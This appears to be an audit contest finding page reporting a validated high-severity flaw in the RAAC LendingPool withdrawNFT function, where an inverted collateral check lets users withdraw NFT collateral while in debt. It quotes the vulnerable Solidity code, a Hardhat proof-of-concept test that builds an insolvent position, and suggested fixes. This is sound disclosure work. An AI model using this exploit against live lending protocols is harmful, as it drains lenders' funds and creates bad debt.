Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

User can withdraw their deposited NFT with borrowed debt > collateral leading to insolvent positions

Summary

The LendingPool contract contains a vulnerability in its withdrawNFT function that allow users with RAACNft to manipulate collateral calculations and create insolvent positions. This issue arises from improper collateral checks, potentially leading to bad debt for the protocol.

Vulnerability Details

When a user deposits an NFT to the lending pool contract, it acts as collateral to borrow against. Users can also withdraw their deposited nft via LendingPool::withdrawNFT. See function below:

/**
* @notice Allows a user to withdraw an NFT
* @param tokenId The token ID of the NFT to withdraw
*/
function withdrawNFT(uint256 tokenId) external nonReentrant whenNotPaused {
if (isUnderLiquidation[msg.sender]) revert CannotWithdrawUnderLiquidation();
UserData storage user = userData[msg.sender];
if (!user.depositedNFTs[tokenId]) revert NFTNotDeposited();
// update state
ReserveLibrary.updateReserveState(reserve, rateData);
// Check if withdrawal would leave user undercollateralized
uint256 userDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex);
uint256 collateralValue = getUserCollateralValue(msg.sender);
uint256 nftValue = getNFTPrice(tokenId);
if (collateralValue - nftValue < userDebt.percentMul(liquidationThreshold)) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}
// Remove NFT from user's deposited NFTs
for (uint256 i = 0; i < user.nftTokenIds.length; i++) {
if (user.nftTokenIds[i] == tokenId) {
user.nftTokenIds[i] = user.nftTokenIds[user.nftTokenIds.length - 1];
user.nftTokenIds.pop();
break;
}
}
user.depositedNFTs[tokenId] = false;
raacNFT.safeTransferFrom(address(this), msg.sender, tokenId);
emit NFTWithdrawn(msg.sender, tokenId);
}

The exploit occurs where an attacker can deposit multiple nfts, use these as collateral to borrow assets and then be able to withdraw nfts from RAAC leaving them with more debt than their collateral which creates insolvent positions and bad debt for RAAC.

Proof Of Code (POC)

The following test was run in LendingPool.test.js in the "borrow and repay" describe block.

it("user can withdraw their nft when in debt", async function () {
//c for testing purposes
await raacHousePrices.setHousePrice(2, ethers.parseEther("100"));
const amountToPay = ethers.parseEther("100");
//c mint nft for user1. this mints an extra nft for the user. in the before each of the initial describe in LendingPool.test.js, user1 already has an nft
const tokenId = 2;
await token.mint(user1.address, amountToPay);
await token.connect(user1).approve(raacNFT.target, amountToPay);
await raacNFT.connect(user1).mint(tokenId, amountToPay);
//c depositnft for user1
await raacNFT.connect(user1).approve(lendingPool.target, tokenId);
await lendingPool.connect(user1).depositNFT(tokenId);
//c user borrows debt
const borrowAmount = ethers.parseEther("110");
console.log("borrowAmount", borrowAmount);
await lendingPool.connect(user1).borrow(borrowAmount);
//c user can withdraw one of their nfts which makes their debt worth more than their collateral
await lendingPool.connect(user1).withdrawNFT(tokenId);
const userCollateral = await lendingPool.getUserCollateralValue(
user1.address
);
console.log("userCollateral", userCollateral);
const user1debt = await debtToken.balanceOf(user1.address);
console.log("user1debt", user1debt);
assert(user1debt > userCollateral);
});

Impact

Users can withdraw NFTs even when their debt exceeds their collateral, leading to insolvency.

Users can borrow more than their collateral, creating systemic risk.

The protocol could accumulate bad debt due to users defaulting on excessive loans.

Attackers could exploit this issue to drain liquidity from the protocol, harming lenders and destabilizing the system.

Tools Used

Manual Review, Hardhat

Recommendations

Use a More Accurate Collateralization Check: Modify the borrowing condition to ensure that a user’s collateral value must always exceed their debt based on a stricter collateralization ratio.

Example fix:

if (collateralValue * COLLATERAL_RATIO < userTotalDebt) {
revert NotEnoughCollateralToBorrow();
}

Introduce Safe Borrow Limits: Implement a maximum Loan-To-Value (LTV) ratio to prevent excessive borrowing.

Prevent Sequential NFT Withdrawals: Implement an aggregate collateral check that considers the total NFTs being withdrawn. Enforce a cooldown period between withdrawals to prevent rapid depletion of collateral.

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.